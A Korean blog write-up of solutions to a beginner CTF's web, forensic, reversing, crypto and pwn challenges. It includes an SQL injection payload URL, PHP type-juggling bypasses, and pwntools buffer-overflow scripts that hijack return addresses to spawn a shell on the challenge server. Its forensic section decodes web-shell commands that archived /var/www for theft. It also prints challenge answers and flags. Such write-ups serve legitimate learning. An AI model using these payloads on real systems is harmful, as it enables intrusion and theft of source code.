반응형
반응형
반응형

Web

 

Compare

100

php의 느슨한 비교 취약점

 

넘기는 값을 배열로 넘겨주면 된다.

 

직접 html코드에서 name을 password[] 로 바꿔주고 보내면 된다.

 

 

 

Simple SQL

150

sql injection

소스:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
    include "./conn.php";
 
    $id = $_GET['id'];
    $pw = $_GET['pw'];
    
    if(preg_match('/[a-zA-Z0-9]/i'$id|| preg_match('/[a-zA-Z0-9]/i'$pw)) exit("빼애애ㅐ애애ㅐㅐ액!!!!");
    if(preg_match('/\||&| |0x|\t|admin|-|\'/i'$id|| preg_match('/\||&| |0x|\t|admin|-|\'/i'$pw)) exit("빼애애ㅐ애애ㅐㅐ액!!!!");
 
    $query = "select * from simple_sql where id='${id}' and pw='${pw}'";
 
    echo "<hr><b>Query : {$query}</b><hr><br>";
 
    $result = mysqli_fetch_array(mysqli_query($conn,$query));
 
    if($result){
        echo $flag;
        exit;
    }
    echo "<hr><br>";
    highlight_file(__FILE__);
?>
cs

소문자, 대문자, 숫자 모두 필터링에 몇몇개의 문자열들도 필터링한다.

 

 

\은 필터링하지 않기 때문에 \을 넣어서 id='\'로 만들면 뒤 '은 문자열 취급되어 pw=' 에 있는 ' 까지 문자열이 된다.

 

 id='\' and pw='=""#  로 만들어줬더니 풀렸다.

 

http://noob.kr/Simple_SQL.php?id=\&pw==%22%22%23

 

원래는 false가 떠야하지만 php처럼 sql에서도 타입 저글링이 가능하여 true가 된다. 

 

 

 

 

 

Simple md(5-1)

170

 

소스:

 

1
2
3
4
5
6
7
8
9
<?php
    if($_GET['md4'== hash("md4"$_GET['md4'])){
        echo "<hr><b>".$flag."</b><hr><br>";
    }else{
        echo "<hr><b>False...</b><hr><br>";
    }
 
    highlight_file(__FILE__);
?>
cs

 

입력값과 md4 hash 값이 같아야 한다.

 

느슨한 비교 == 을 사용했기 때문에 매직해쉬를 사용하면 된다.

 

 

아래 글에 직접 값을 찾으신 분이 계시다.

https://medium.com/@sbasu7241/hsctf-6-ctf-writeups-a807f0b25ae4

 

0e251288019 을 넣어주면 된다고 한다.

반응형
반응형

http://52.79.224.215

 

Multimedia Forensic

 

Welcome Forensic World

30

 

hxd로 열어보면 된다.

 

 

Where_is_flag

50

 

jpg시그니쳐 9바이트 채워주면 된다.

 

 

 

 

Dark web

100

hint : base

 

힌트가 base이다. base32나 base64라고 생각하고, 패딩 문자열 ==hxd를 통해 검색하면, 바로 찾을 수 있다.

 

JYYDAYSDKRDHWZCAOJVV65ZTMJPUSNK7MRAG4OLFOIYHKUZBEF6Q====

 

이를 base32로 디코딩하면 된다.

 

 

 

 

What is docx?

100

찾기로 flag 가 하나 나오는데 그건 fake이다.

 

.zip으로 바꾸면 암호걸린 flag.zip이 나오는데 key는 media폴더에서 찾을 수 있다.

 

 

 

Please open steganography

200

 

문제의 제목에서 open 을 통해 open stego를 써야된다는 것을 알 수 있다.

 

패스워드는 해당 png파일을 hxd로 열어서 마지막쯤에 있는 OPENLOCK 을 사용하면 된다.

 

추출하면 flag.txt가 추출된다.

반응형
반응형

Misc

Welcome N00b World~!

50

 

디스코드 접속

반응형
반응형

http://52.79.224.215

Rev

How you find my flag?

150

 

32bit elf 파일이 주어진다.

 

main함수에서 flag의 마지막 부분을 찾을 수 있고, I5_My 함수에서 함수 명이 flag의 중간 부분이 된다.

 

그리고 I5_My에서 문자열을 xor 연산 하는 것을 알 수 있다. 이 xor연산을 돌려주면 flag의 처음 부분이 된다.

 

main() 함수와 I5_My() 함수. IDA 32bit을 이용하면 볼 수 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#python3
= "D : : h I ^ L q ] b 9 x 9 U"
 
= list(map(str, p.split()))
 
flag_b = [0]*len(n)
 
for i in range(0len(n)):
    flag_b[i] = ord(n[i]) ^ 0xa
 
flag = ""
for j in range(0len(n)):
    flag += chr(flag_b[j])
print(flag)
 
cs

 

반응형
반응형

http://52.79.224.215

Crypto

 

Very Easy Crypto

100

 

ascii85

 

The Middle Age Crypto

100

 

https://www.brynmawr.edu/bulletin/codes-and-ciphers-puts-students-test

 

'Codes and Ciphers' Puts Students to Test | Bryn Mawr Alumnae Bulletin

'Codes and Ciphers' Puts Students to Test 'Codes and Ciphers' Puts Students to Test Math course offers insight into creating and solving secret messages. At their simplest, they are used by kids passing notes in class and at their most complex, by governme

www.brynmawr.edu

 

You Decode it?

175

 

문제 :

1
2
3
4
5
6
7
8
9
10
11
12
from * import flag, shift 
 
list_ = ['0x475''0x3b0''0x471''0x47a''0x39c''0x465''0x476''0x46d''0x46d''0x47a','0x39c''0x460''0x471''0x47a''0x473''0x477''0x3b3''0x3a2''0x3a2']
 
def encrypt(d,shift):
    e = []
    for c in d:
        e.append(hex((ord(c)+shift)^99))
    return e
 
if list(encrypt(flag,shift)) == list_:    # 문법 상으로는 맞지 않음. 이해를 위해서 넣은 코드구문
    print("encoding success!!")
cs

 

 

풀이 :

1
2
3
4
5
6
7
8
9
10
11
12
13
list_ = [0x4750x3b00x4710x47a0x39c0x4650x4760x46d0x46d0x47a,0x39c0x4600x4710x47a0x4730x4770x3b30x3a20x3a2]
list = []
 
 
for i in list_:
    list.append(i^99)
 
for shift in range(0,951):
    flag = ""
    for j in list :
        flag += chr(j-shift)
    print(flag)
 
cs

 

반응형
반응형

http://52.79.224.215

 

Pwn

What is bof?

100

exeinfo.exe로 32bit elf 파일임을 알아내고 ida 32bit로 연다.

 

main() 과 flag()

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+0h] [bp-14h]@1
 
  setvbuf(_bss_start, 020);
  printf("Go through it!! >> ");
  gets(&s);
  printf("YOu Input : %s\n"&s);
  return 0;
}
cs
1
2
3
4
5
int flag()
{
  printf("Y0u Ar3 Fl@g Here!!");
  return system("/bin/sh");
}
cs

 

main함수에서 발생하는 bof를 통해 ret주소를 flag()의 주소로 덮어서 쉘을 실행시킨 뒤, flag 파일을 읽으면 된다.

 

main:7 에서 입력길이에 제한이 없는 gets() 함수를 사용하므로  ret을 덮을 수 있다.

 

s는 bp-14h에 위치한다. 

 

s[20] + sfp[4] + ret[4]     ==========> 24바이트를 덮고 retflag()주소인 0x08048516으로 덮으면 된다.

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#python
from pwn import *
 
= remote("52.79.224.215"30005)
 
flag = 0x08048516
 
payload = "A"*24 + p32(flag)
 
p.recvuntil(">> ")
p.sendline(payload)
 
p.interactive()
 
cs

 

very ezzzzzz!!

100

what is bof? 문제와 동일 하다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+0h] [bp-40h]@1
 
  setbuf(stdout, 0);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  gets(&s);
  sleep_puts("Wait!!!!!!");
  sleep_puts("You should stop");
  sleep_puts("Stealing flag...");
  sleep_puts("Wait 10sec..");
  sleep_puts("Wait 8sec..");
  sleep_puts("Wait 6sec..");
  sleep_puts("Wait 4sec..");
  sleep_puts("Wait 2sec..");
  sleep_puts("Okay");
  sleep_puts("I'll give you a flag!!");
  puts("N00bCTF{wow_your_very_good!!}");
  return 0;
}
cs

 

gets함수를 사용하고 있고, s는 bp-40h에 위치한다.

 

sfp까지 해서 68바이트를 덮고 ret을 get_flag()함수 주소로 덮어주면 된다.

 

get_flag() : 0x08048556

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
#python
from pwn import *
 
= remote("52.79.224.215"30006)
 
flag = 0x08048556
 
payload = "A"*68 + p32(flag)
 
p.sendline(payload)
 
p.interactive()
cs

 

 

 

Over the RET

150

 

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln(18273645);
  return 0;
}
cs
1
2
3
4
5
6
7
8
9
10
11
int __cdecl vuln(int a1)
{
  int result; // eax@1
  char s; // [sp+0h] [bp-40h]@1
 
  gets(&s);
  result = puts(&s);
  if ( a1 == 12563478 )
    result = system("/bin/sh");
  return result;
}
cs

 

main함수에서 vuln함수를 호출하고 인자(a1)로  18273645를 주고 있다.

vuln함수에서는 그 인자(a1)의 값dl 12563478이면 쉘을 실행한다.

 

 

a1은 bp+8h에 위치한다.

 

s[bp-40h]=====64bytes=======sfp[4]==ret[4]==a1[bp+8h]

이고, gets(&s); 를 사용하므로 총72바이트를 덮고 그 다음 값으로 a1을 덮을 수 있다.

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= remote("52.79.224.215"30007)
 
a1 = 12563478
 
payload = "A"*72 + p32(a1)
 
 
p.sendline(payload)
 
p.interactive()
 
cs

 

반응형
반응형

http://52.79.224.215

 

 

Disk Forensic

Emergency!! Leak my source code..

100

access.log를 먼저 봤다. 모든 접근 기록이 담겨 있어서 모든 것을 조사해 볼 수는 없었다. 범위를 좁히기 위해서 다른 파일들을 살펴 보았다.

 

 

 

sad파일에서 수상한 pid를 찾을 수 있다.

 

               pid    ppid

www-data  5230  5244  0 10:11 ?        00:00:00 php -f /var/www/upload/ws1004/image/hack.php
www-data  5244   814  0 10:11 ?        00:00:00 sh -c php -f /var/www/upload/ws1004/image/hack.php

 

 

hack.php와 관련이 있음을 구할 수 있다. hack.php와 관련한 로그만 찾으면 되기 때문에 access.log에서 hack.php를 검색해서 나오는 모든 로그들을 모았다.

 

 

 

 

[25/Oct/2019:17:18:51 +0900] cHdk
[25/Oct/2019:17:26:23 +0900] bHMgLWFsICAvdmFyL3d3dy91cGxvYWQvd3MxMDA0L2ltYWdlLw%3D%3D
[25/Oct/2019:17:21:12 +0900] dGFyIC1jdmYgL3Zhci93d3cvdXBsb2FkL3dzMTAwNC9pbWFnZS8xMjU5MTIzNzQ5IC92YXIvd3d3Lw%3D%3D
[25/Oct/2019:17:26:40 +0900] cGhwIC1mIC92YXIvd3d3L3VwbG9hZC93czEwMDQvaW1hZ2UvaGFjay5waHA%3D

 

시각과 쿼리로 넘어가는 명령어만 기록해봤다.

 

 

base64로 인코딩 되었는데, 4번째 명령어는 아래와 같다.

php -f /var/www/upload/ws1004/image/hack.php

 

해당 명령어를 실행하는 쉘의 pid는 5230이다.

 

따라서 플래그는 N00bCTF{2019-10-25_17:26:40&5244} 가 된다.

반응형

+ Recent posts